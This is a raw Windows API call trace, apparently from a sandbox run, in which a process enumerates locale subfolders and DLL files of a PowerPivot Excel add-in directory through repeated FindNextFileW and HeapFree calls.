	[0158.828] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0158.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.829] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
	[0158.831] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.831] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0158.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.832] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0159.035] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0159.035] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0159.194] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0159.194] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0159.194] FindClose (in: hFindFile=0x4140358 | out: hFindFile=0x4140358) returned 1
	[0159.194] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0159.194] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1
	[0159.430] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0159.430] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0159.531] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0159.531] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0160.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.381] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0160.808] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.808] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0160.960] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.960] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0160.962] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.962] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0160.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.964] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0160.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.966] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0160.967] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.967] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0160.969] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.969] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0160.971] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.971] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0160.973] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.973] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0160.975] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.975] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0160.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.977] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0160.979] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.980] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0160.982] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.982] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0160.984] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.984] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0160.986] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.986] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0160.988] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0160.988] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0161.065] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0161.065] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1
	[0161.272] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.272] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0161.274] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.274] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0161.276] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.276] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0161.278] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.278] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0161.280] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.280] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0161.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.283] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1
	[0161.286] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.286] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0161.289] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.289] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0161.291] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.291] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1
	[0161.293] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.293] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1
	[0161.295] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.295] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0161.297] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0161.297] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1
	[0161.297] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
